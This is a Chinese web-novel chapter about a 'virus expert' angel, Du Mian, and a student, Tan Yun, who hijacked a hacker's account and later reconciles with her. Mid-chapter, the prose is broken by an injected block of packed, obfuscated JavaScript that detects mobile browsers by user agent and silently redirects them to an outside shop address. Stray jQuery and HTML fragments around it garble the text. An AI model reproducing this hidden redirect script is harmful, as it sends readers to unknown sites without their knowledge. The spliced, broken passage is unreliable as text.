四翼天使,二人之下万人之上。
施加命令,惩罚的权限落在那两位的头上,杜眠不得不抛弃了独处的随意,面对不想执行的任务时,渐渐的搭建起了有效的安全屋。
上层是真假参半的主动反馈,中层是依照具体情况而推进的任务进度,通常不达半数。
下层则是由她驱使的天使。
长久的时间以来,杜眠见过了万翼的天使长,另外的那位只存在于它的口中。
用于汇报的殿中,天使长的右位空余。
杜眠抬起头,立即被阻止。
天使长说,禁止任何形式的窥探,否则将会化成无法复生的粉尘,飘散在宇宙里。
杜眠低头,将上层尽数告知。
与表面的冷静不符,心中的回忆色彩忽而浓烈,它疯狂滋生出血肉,应对人生的分界点。
病毒专家的心澜掀起骇浪,事态久违的脱离了她的双眼。若馥格始终是谭云,所有都得到了解释:谭云在两年前就把她划进了标本范畴。
是跨越时间的策划,是病态的心理。
杜眠很快平复了下来,毕竟两人的日常活动就是监视对方,多了个身份并不奇怪。
谭云很坚韧,坚韧的活到了今天。
谭云很脆弱,脆弱的会因为几个字崩溃。
我否定你的存在。
不满二十周岁的学生从未迈进过谁的心槛,若说是物理情况,她倒想起了那三颗心脏。在晴天阳光下,它们的运动渐渐止息,随后变成了腐色。
为什么人类要把心脏画成两条抽象的曲线,明明真实的线条是如此繁复,血管与房室交织成了令人作呕的形状,谭云挥铲将他们掩埋。
我的存在,不能由别人定义。
学生颤抖着唇,比不过细微的蚊蝇声。
然而杜眠听见了。
麻雀:这是悖论不是吗?现在的你正因我对你的定义而悲伤,你的话没有任何可信度。
冰冷的屏幕与冰冷的语言。
窥探的目光从板砖似的手机里透出,谭云清醒的意识到了,当前的情况何等窘迫。
不对,哪里窘迫了?
轰动而杂乱的情绪仿佛被暂停。
跳脱的思维瞬间转移到了别处。谭云坐在礁石,看见海水退潮,鱼虾在深棕色的沙滩弹跳。夜色之下,荧光的水母浮在海面上,青绿摇曳。
不辨色彩的瞳孔隐入了黑暗。
它可以是任意。
它可以是砸死新芽的透明水滴色,也可以是对抗乌云雨的艳丽的鹅黄色雨伞色。
无论麻雀叽喳或是低飞,它皆能淡然的路过,然后消逝在麻雀短暂的生命里,无始无终。
它的世界里,不该存在扰人的生物,该是流水般的宁静,不是麻雀,而是杜眠。
病毒专家和其余人不同,在他们的身边,谭云无法露出本真,大概是面具之上的伪善。
痴迷者的刺伸向前,杜眠会微笑,那双纯黑色的眼眸里,是否也会染上嗜血的神情?
泡沫白的浪花忽而浮现了。
它将鱼虾卷回去,冲刷沙滩到平滑的程度。
凉丝丝的水汽浸透了谭云,她却只是闭眼端坐,没有做出任何反应。随后天光乍现。
发丝贴在脸颊,是咸涩的海风。
现在的杜眠试图摧毁她,未来的标本试图逃脱死亡阴影,说到底,所有的原因皆是谭云。
若是彻底开悟,将经历回收,杜眠是否能放下摧毁之心,宛如从前与她相伴呢?
情况并非窘迫,是她不愿直面。
黑屏了整个夜晚的手机终于开机,谭云编辑了很久的语言,却是删删减减,停留在空白。
犹豫是原因,更重要的却是……
该账号已被锁定。
同时,未读消息的弹窗从屏幕闪出。
错误号码:谭云,你做得太过火了,我已经锁定你所有的通讯软件,不能发送和接受信息。
隔空对话的模糊感倒塌了。
杜眠是否在等待她的回复?遥远的壁垒之外,她估计在等待她的自我毁灭吧。
谭云知道错误号码是谁。
毕竟是她盗窃了馥格的账号。
还以为馥格会早点发现,结果忙于处理事务所以如今才发现吗?谭云的衣服风干了。
没关系,哪里都有人。
借个手机打电话也不是什么难事。
风蚀的岩石下,土黄与褐色错杂,随太阳偏移将巨大的阴影洒在了谭云的身上。
心灵感应般,她低头看屏幕,中间的灰色枷锁开始剧烈摇晃,有了松动的迹象。
谭云又坐了下来,等待结果。
漫长的拉锯战里,枷锁总是险些解开,再是被拽回了封存的模样,两方皆不肯相让。
能和馥格打平手并且注意到这个账号的人。
只能是杜眠。
病毒专家想亲口听到遗言吗?
谭云托腮,脸上的软肉鼓起弧度,不管杜眠出于什么原因,至少说明还是在意她的。
有烈日加持,应当会胜过馥格。
学生甚至能想象到馥格的暴躁与质问,然而杜眠却是无所谓的语气,不禁笑出声。
杜眠:有什么好笑的?
不是单薄的文字,而是冷淡的语音。
谭云恍然,反复点开听,竟然忘记了回复。
杜眠:喂,别花痴了,还活着吗?死了我就去找馥格道歉了,也不知道耗这么久是为什么?
馥格:当然没死!
馥格:我只是很惊讶,你竟然会为我花时间去破解他的锁,我想你,非常非常想你。
杜眠:谁理你。我买了车票。
馥格:你要到这里来?
杜眠看上去很不耐烦,信息条也不再是语音,而是白屏与黑字,末尾还有转文字的句号。
杜眠:爱来不来。
原来是回程,回到杜眠身边的车票。
谭云不知道,她们两人皆在昨晚经历过了激烈的心理斗争,随后各自做出了退步。
杜眠在深思后,抬头见馥格的账号异常。
注销不是这个模样,所以……谭云不是馥格,只是临时使用了他的账号吗?
若是说他的不冒泡是因为忙,倒也能理解,不过困惑在病毒专家的心理盘旋:她在很早便开始怀疑馥格的使用者了,毕竟他的身份是昭示者。
无论网络发生了什么重大的情况,他都是首先发现并且传回群里,要求成员注意的人。
平常话讲,即是冲浪速度最快之人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652680|205316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
即使她试探,馥格也保持淡然。
这个疑问因此埋在了心里,现在被谭云翻出来,怎么能不夺回控制权问谭云呢?
杜眠换个了地方监视。
谭云在吹列车的空调,看起来有些饿了。
不多时,午饭和饮料都送到了商务座,正盖了毯子的学生抬眸,愣愣的接过了食物。
第三次相逢,仍然在下午。
在得知馥格的线索前,杜眠堵在门口,装模装样的询问手表,“你猜,谭云会说什么呢?”
烈日不敢忤逆:“应该会反思吧。”
“反思吧……?”
“不对,是肯定会反思道歉!”
杜眠笑吟吟,“咦?谭云,你什么时候到这的?我光和烈日讲话,都没看见你。”
简直是明知故问,女孩汗颜。
不过道歉是肯定不能跳过的步骤,谭云低下头,诚恳的说道。宛如在服装店的模样。
对不起。我会陪你的。
两个时空相互重叠,杜眠从上帝视角看见了谭云的话语组合,不禁叹气,也不知该说什么。
剥去了冷漠的伪装,现在是完全的依存。
我不该把你归入标本的范围,也不该想杀死你,也不该自作主张的盗号,让你这么费劲。
嗯,杜眠听见自身这么说。
正当谭云要说些馥格的事情时,无限的空白耳鸣笼罩住了杜眠,也笼罩了四翼天使。
从过去到未来,仿佛被世界强行消音了。
杜眠无法得知他的任何事情。
初次意识到这点时,病毒专家便陷入了默然。
馥格不属于现实。
猜测里,他是更加高维的生物。组建黑客组织,停留在现实,只是为了打发无聊的时间。
在暗黑超现实的世界观架构下,病毒能拥有自主的意识,人类何尝不能有超能力?
四翼天使在殿内折返,询问该事件。
天使长的眉峰凛然,气息扑面而来,稍后则又收敛起来,咳嗽几声,似乎不想谈论。
罢了,不是所想皆会有答案。
不料天使长开口答道,“馥格之事关系到我身旁的这位,祂愿意与你交易具体的信息。”
“请原谅我,我已无可交易的东西了。”
“那么,你住所里的标本?”
杜眠的心脏悸动,于是拱手,重复前言。
天使长微笑,“请离开吧。”
四翼天使听得殿门紧闭,几声低语从门框的缝隙内泄出,不过如同咖啡店员们的八卦般。
杜眠听不清。
至于有关谭云的后续,天使在经过漫长的叙述后已经无力再重现了,大致的“和谐相处”的概念印在脑海里,再是意外濒死进入了契骨。
她回到住所,捧起了那颗标本。
标本的眼眸慢慢的阖上,原来的笑容也淡去,散进了空气里,余下淡淡的忧伤香味。
不甚在意的地界里,馥格之名在榜上闪耀。
——
你是自由的。
我的时间已到,我要去天界了。
杜眠拂开与她相握的手,化星光飘到了半空,消失在了谭云的尽力仰望里。
门口有人敲门,轻柔淡然。